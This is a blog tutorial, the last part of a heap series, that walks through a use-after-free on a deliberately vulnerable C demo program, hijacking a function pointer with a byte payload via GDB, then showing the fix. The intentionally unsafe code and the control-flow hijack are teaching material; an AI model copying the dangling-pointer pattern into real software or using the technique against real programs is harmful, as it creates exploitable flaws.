Skip to content
Go back

What the heap? (Part 3)

Published:  at  10:08 PM

Table of Contents

Open Table of Contents

Flash back

So far, we’ve learnt the concept of heap in Part 1 and about malloc, calloc and realloc in Part 2. We’ve built and now it’s time to break! :)

What are we going to do?

We’ll explore one of the most classic and conceptually simple heap vulnerabilities: a Use-After-Free (UAF)
The core idea is simple:

Let’s see this in action.

A Word of Caution

We are about to write and exploit a deliberately vulnerable program. This is for educational purposes only, on your own machine, to understand how software can fail.

Never attempt to use these techniques on systems you do not own. The goal here is to become a better, more secure programmer.

The Vulnerable C Code

We’ll create a program that lets a user create a “note”. A note has a function pointer inside it that’s used to print its contents. The vulnerability will allow us to overwrite this function pointer and make the program call a different, “secret” function instead.

Create a file named uaf_demo.c:

// uaf_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// A structure to hold a note and a function to print it
struct Note {
    void (*print_note_func)();
    char data[20];
};

// A simple message structure, conveniently the same size as Note
struct Message {
    char message_data[28];
};

void print_note_content(struct Note* n) {
    printf("Note Data: %s\n", n->data);
}

void secret_function() {
    printf("***********************************\n");
    printf("**** ACCESS GRANTED / PWNED    ****\n");
    printf("***********************************\n");
}

int main() {
    struct Note* note_ptr;
    struct Message* msg_ptr;

    // --- The Setup ---
    // 1. Allocate a Note object on the heap.
    note_ptr = (struct Note*)malloc(sizeof(struct Note));
    note_ptr->print_note_func = print_note_content;
    strcpy(note_ptr->data, "This is a note.");

    printf("Created a note at address: %p\n", note_ptr);
    printf("Its print function is at: %p\n", note_ptr->print_note_func);


    // --- The Vulnerability ---
    // 2. We free the note, but forget to NULL out note_ptr.
    // note_ptr is now a "dangling pointer".
    free(note_ptr);
    printf("\nNote has been freed. The pointer still dangles!\n");


    // --- The Exploitation ---
    // 3. We allocate a new object of a similar size.
    // The heap allocator (tcache) is likely to reuse the chunk we just freed.
    msg_ptr = (struct Message*)malloc(sizeof(struct Message));
    printf("Allocated a new message at: %p\n", msg_ptr);
    printf("--> Notice that the addresses are the same!\n\n");

    // 4. We write into the new object, but this overwrites the old object's data
    // because they are at the same memory location.
    printf("Enter new message content (this will be our exploit payload):\n");
    // read() allows us to input raw bytes, including nulls if needed.
    read(0, msg_ptr->message_data, 28);


    // --- The Payoff ---
    // 5. We use the original dangling pointer, thinking it's still a valid Note.
    // The program will read the function pointer from that memory location
    // (which we just overwrote!) and call it.
    printf("\nCalling the function from the original (dangling) note pointer...\n");
    note_ptr->print_note_func(note_ptr);

    return 0;
}

Compile for Exploitation

Modern compilers have many protections. To make our demonstration clear and reliable, we will disable one called PIE (Position Independent Executable). This ensures that the address of our secret_function is the same every time we run the program.

gcc -g -o uaf_demo uaf_demo.c -no-pie

The Walkthrough with GDB

Let’s start debugging!

The program will run and then pause, asking for input.

Asking for input

If we put something, the program simply ended with Segmentation fault.

Segfault

First, we need to know the memory address of secret_function. We’ll use this address as our payload.

Address

Great! The address is $0x401194$. Your address will likely be different, so use the one GDB gives you. Keep this address handy.

Let’s stop right before the vulnerable function call to see the state of memory.
Break before the line:
note_ptr->print_note_func(note_ptr);

Break

This is the crucial moment. We need to provide input that overwrites the print_note_func pointer.

python3 -c "import sys; sys.stdout.buffer.write(b'\x94\x11\x40\x00\x00\x00\x00\x00')" > uaf_demo.txt

This command prints the raw bytes of our address and put the output of this command into text file. The output will look like garbled text, which is perfectly fine.

Now, go back to the GDB terminal and re-run the program with our payload text file.

The program will continue and hit our breakpoint.

Re run

We’re now stopped right before the call. Let’s look at what’s in our note_ptr’s memory. The x command examines memory. x/4gx means examine 4 “giant words” (8-byte values) in hex format.

Examine

Yo! look at that first value! It’s $0x401194$. This is the address of secret_function. We successfully used our input for the Message object to overwrite the function pointer in the dangling Note object because they share the same memory.

Now, let the program execute that single, corrupted line. Instead of next, use continue to see the result.

The program continues, and you will see the output:

Yay!

Success! Instead of calling print_note_content, the program was tricked into calling secret_function. We successfully hijacked the program’s control flow.

How it happens on the heap?

Heap Allocation:
When a program needs to store data dynamically, it requests memory from the heap.

Memory Release (Freeing):
When the program is finished with the data, it frees the memory, returning it to the heap for reuse.

Dangling Pointer:
A UAF vulnerability arises when a pointer still holds the address of this freed memory.

Memory Reuse:
If the freed memory is later reallocated and reused by the program, the original dangling pointer might now refer to new, potentially attacker-controlled data.

Exploitation:
An attacker can exploit this by placing malicious data (in this case, an address of “secret_function”) into the reallocated memory. When the program then uses the dangling pointer to access this memory, it inadvertently executes or reveals the attacker’s data, which could lead to code execution or sensitive information leaks

Fix and Build again

The fix is incredibly simple, which is why it’s so important to be disciplined about it.

After you free a pointer, always set it to NULL.

// In uaf_demo.c, change this:
free(note_ptr);

// To this:
free(note_ptr);
note_ptr = NULL;
// Before using it, add a check:
if (note_ptr) {
    note_ptr->print_note_func(note_ptr);
}

With these changes, the exploit is completely prevented. The program would find the pointer is NULL and skip the function call entirely, avoiding the crash and the security breach.

Final thought

You’ve gone from metaphors to low-level reality for the heap. That’s rare, most people stop at the textbooks. You didn’t. You learned allocator internals, flags, chunk headers, bins, and how attackers and defenders think.

That’s the end of our heap series :)

And don’t forget, reverse engineering is a challenging and time-consuming process. Don’t get discouraged by initial confusion. Consistent effort is key to developing your skills.

Keep going. Always!


Spotted a Mistake?
Share this post on:

Previous Post
How Cheat Codes Work in Pokémon Games (And How to Create One)
Next Post
What the heap? (Part 2)